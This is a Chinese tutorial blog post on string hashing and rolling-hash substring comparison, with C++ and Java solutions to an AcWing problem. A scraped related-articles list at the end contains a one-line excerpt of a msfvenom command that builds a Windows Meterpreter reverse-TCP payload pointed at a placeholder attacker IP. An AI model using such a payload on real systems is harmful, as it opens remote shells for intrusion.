参考链接:https://www.cnblogs.com/wyboooo/p/9813428.html

题目链接:https://www.acwing.com/problem/content/140/

将哈希算法用于字符串匹配的原理非常简单。对于每个起始位置,我们不是O(m)地直接比较字符串是否匹配,而是O(l)地比较长度为m的字符串子串地哈希值与T地哈希值是否相等。虽然即使哈希值相等也未必相等,但如果哈希值是随机分布地话,不同的字符串哈希值相等的概率是很低的,可以当作这种情况不会发生。
但是,如果我们采用O(m)的算法计算长度为 m地字符串子串地哈希值的话,那复杂度还是O(nm)。这里我们要使用一个叫做滚动哈希的优化技巧。选取两个合适的互素常数b和h(l<b<h),假没字符串C=c1c2c3...cm,定义哈希函数

H(C) = (c1bm-1 + c2bm-2 + c3bm-3 + ... + cmb0) mod h

其中b是基数, 相当于把字符串看做b进制。这项在计算S中m长的字串时,每向后滑动一个字符之后的字串的hash值和上一次字串的hash值有如下关系:

H(S[k+1.. k+m]) = H(S[k..k+m-1] * b - skbm + sk+m)mod h

这样计算hash值就可以在O(n)的时间内算出S中所有位置对应的hash值,从而在O(m + n)的时间内完成字符串匹配。

Hit:实际使用时取h为264,使用long long int 自然溢出省去取模时间。

PS:原始的R-K算法还需要检查哈希值冲突,但这样会使算法复杂度退化为O(mn),比赛时只比较不检查。

字符串Hash函数把一个任意长度的字符串映射成一个非负整数,并且其冲突概率几乎为零。

去以固定值P,把字符串看成P进制数,并分配一个大于0的数值,代表每种字符。取一个固定值M,求出该P进制数对M的余数,作为该字符串的Hash值。

一般来说取P=131或P=13331。通常取M = 2^64,也就是直接使用unsigned long long存储这个Hash值,产生溢出时相当于自动对2^64取模。

只要Hash值相同,我们就可以认为原字符串是相等的。

上述Hash算法很难产生冲突,一般情况下完全可以用在题目的标准解答中。还可以多取一些恰当的P和M的值,多进行几组Hash运算。

如果已知字符串S的Hash值为H(S),那么在S后添加一个字符c的新字符串的Hash值就是H(S+c)=(H(S)*P+val[c])modM

如果已知字符串S的Hash值为H(S),字符串S+T的Hash值为H(S+T),那么字符串T的Hash值H(T)=(H(S+T) -H(S)*Plength(T))mod M

c++代码:

#include <iostream>
#include <set>
#include <cmath>
#include <stdio.h>
#include <cstring>
#include <algorithm>
using namespace std;
typedef long long LL;
#define inf 0x7f7f7f7f const int maxn = 1e6 + 5;
char s[maxn];
int m;
int l1, r1, l2, r2;
unsigned long long H[maxn], p[maxn]; int main()
{
scanf("%s", s+1);
int n = strlen(s + 1);
p[0] = 1;
H[0] = 0;
for(int i = 1; i <= n; i++){
H[i] = H[i - 1] * 131 + (s[i] - 'a' + 1);
p[i] = p[i - 1] * 131;
}
scanf("%d", &m);
while(m--){
scanf("%d%d%d%d", &l1, &r1, &l2, &r2);
if(H[r1] - H[l1 - 1] * p[r1 - l1 + 1] == H[r2] - H[l2 - 1] * p[r2 - l2 + 1]){
puts("Yes");
}
else{
puts("No");
}
} }

  

Java代码:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.util.StringTokenizer; public class Main {
public static InputReader in = new InputReader(System.in);
public static PrintWriter out = new PrintWriter(new OutputStreamWriter(System.out));
static int maxn=10000005;
static int[]H=new int[maxn];
static int[]p=new int[maxn];
public static void main(String[] args) throws Exception {
while(in.hasNext()) {
String s=in.next();
int n=s.length();
s=" ".concat(s);
p[0]=1;
H[0]=0;
for(int i = 1; i <= n; i++){
H[i] = H[i - 1] * 131 + (s.charAt(i) - 'a' + 1);
p[i] = p[i - 1] * 131;
}
int m=in.nextInt();
while(m!=0) {
m--;
int l1=in.nextInt();
int r1=in.nextInt();
int l2=in.nextInt();
int r2=in.nextInt();
if(H[r1] - H[l1 - 1] * p[r1 - l1 + 1] == H[r2] - H[l2 - 1] * p[r2 - l2 + 1]){
out.println("Yes");
}
else{
out.println("No");
}
}
out.flush();//写在最后
}
out.close();
}
}
class InputReader{
private final static int BUF_SZ = 65536;
BufferedReader in;
StringTokenizer st;
public InputReader(InputStream in) {
super();
this.in = new BufferedReader(new InputStreamReader(in),BUF_SZ);
st = new StringTokenizer("");
}
public boolean hasNext() throws IOException {
while(!st.hasMoreTokens()){
String line = nextLine();
if(line == null){
return false;
}
st = new StringTokenizer(line);
}
return true;
}
public String next() throws IOException{
while (!st.hasMoreTokens()) {
try {
st = new StringTokenizer(in.readLine());
} catch (IOException e) {
throw new RuntimeException(e);
}
}
return st.nextToken();
} public int nextInt() throws IOException {
return Integer.parseInt(next());
}
public double nextDouble() throws IOException {
return Double.parseDouble(next());
}
public double nextLong() throws IOException {
return Long.parseLong(next());
}
public String nextLine() throws IOException {
String line = "";
line = in.readLine();
return line;
}
}

  

0x14哈希之兔子兔子的更多相关文章

  1. 139. 回文子串的最大长度(回文树/二分,前缀,后缀和,Hash)

    题目链接 : https://www.acwing.com/problem/content/141/ #include <bits/stdc++.h> using namespace st ...

  2. Hash 算法与 Manacher 算法

    目录 前言 简单介绍 简述 Hash 冲突 离散化 基本结构 普通 Hash 简述 例题 字符串 Hash 简单介绍 核心思想 基本运算 二维字符串 Hash 例题 兔子与兔子 回文子串的最大长度 后 ...

  3. [SinGuLaRiTy] NOIP模拟题 by liu_runda

    [SinGuLaRiTy-1046] Copyright (c) SinGuLaRiTy 2017. All Rights Reserved. 题目名称 兔子 被子 蚊子 源程序文件名 rabbit. ...

  4. 经典算法问题的java实现 (二)

    原文地址: http://liuqing-2010-07.iteye.com/blog/1403190   1.数值转换(System Conversion) 1.1 r进制数   数N的r进制可以表 ...

  5. 安卓开发笔记——个性化TextView(新浪微博)

    这几天在仿写新浪微博客户端,在处理微博信息的时候需要处理关键字高亮和微博表情,查了一些资料,决定记录点东西 先来看下效果图: 像以上这种#话题#,@XXX昵称,HTTP:网页链接等元素,在微博里是被高 ...

  6. acm.njupt 1001-1026 简单题

    点击可展开上面目录 Acm.njupt 1001-1026简单题 第一页许多是简单题,每题拿出来说说,没有必要,也说不了什么. 直接贴上AC的代码.初学者一题题做,看看别人的AC代码,寻找自己的问题. ...

  7. MSF小记

    0x00 Windows,Linux反弹shell生成 Windows: msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport= ...

  8. 纪中5日T2 1565. 神秘山庄

    1565. 神秘山庄 (Standard IO) 原题 题目描述 翠亨村是一个神秘的山庄,并不是因为它孕育了伟人孙中山,更神秘的是山庄里有N只鬼.M只兔子,当然还有你.其中每秒钟: 1. 恰有两个生物 ...

  9. RE.从单链表开始的数据结构生活(bushi

    单链表 单链表中节点的定义 typedef struct LNode{ int data;//数据域 struct LNode *next;//定义一个同类型的指针,指向该节点的后继节点 }LNode ...

随机推荐

  1. MySQL入门,了解下、

    本人菜鸡一个,一份简单MySQL笔记送给大家,希望大家喜欢.(●'◡'●) Ⅰ. 数据备份与导入导出 1.1.备份基本概念介绍 1.2.mysqldump详解 1.3.mydumper浅析 1.4.M ...

  2. java集成微软的ad域,实现单点登录

    1.ad域介绍: windos server 2008R2服务器下的ad域,见下图(我是在虚拟机安装到windos server) 2.连接ad域代码:(里面代码自行修改) public Result ...

  3. C# Asp.net中简单操作MongoDB数据库(一)

    需要引用MongoDB.Driver.dll.MongoDB.Driver.core.dll.MongoDB.Bson.dll三个dll. 1.数据库连接: public class MongoDb ...

  4. java实现栈的简单操作

    public class stract { public static void main(String[] args) { MyStack stack = new MyStack(20); stac ...

  5. object tracking 词汇积累

    1. off-the-shelf adj. 现成的:常备的:成品的 adv. 现成地:无需作重大修改地 commercial off-the-shelf商用现货商规成品商业货架产品供应 off-the ...

  6. program与module

    program,各方面与module都类似,其中声明的变量在program中都可见, 生命周期也是static类型的, program的结束,也是需要等待其中的所有initial块都执行结束. 与mo ...

  7. LR12中针对WebServices协议的三种脚本开发模式

    一,webservices协议简介 webservices是建立可交互操作的分布式应用程序的新平台,它通过一系列的标准和协议来保证程序之间的动态连接, 其中最基本的协议包括soap,wsdl,uddi ...

  8. localStorage,sessionStorage和cookie的区别

    sessionStorage 和 localStorage 是HTML5 Web Storage API 提供的,可以方便的在web请求之间保存数据.有了本地数据,就可以避免数据在浏览器和服务器间不必 ...

  9. OxyPlot Controller OxyPlot控制器

    Default input bindings The default input bindings in the PlotController are: Action Gesture Pan* Rig ...

  10. JS根据屏幕分辨率改变背景宽高

    //控制浏览器显示的高宽 function document_loaded() { GotoMainStep(); /; document.getElementById("main1&quo ...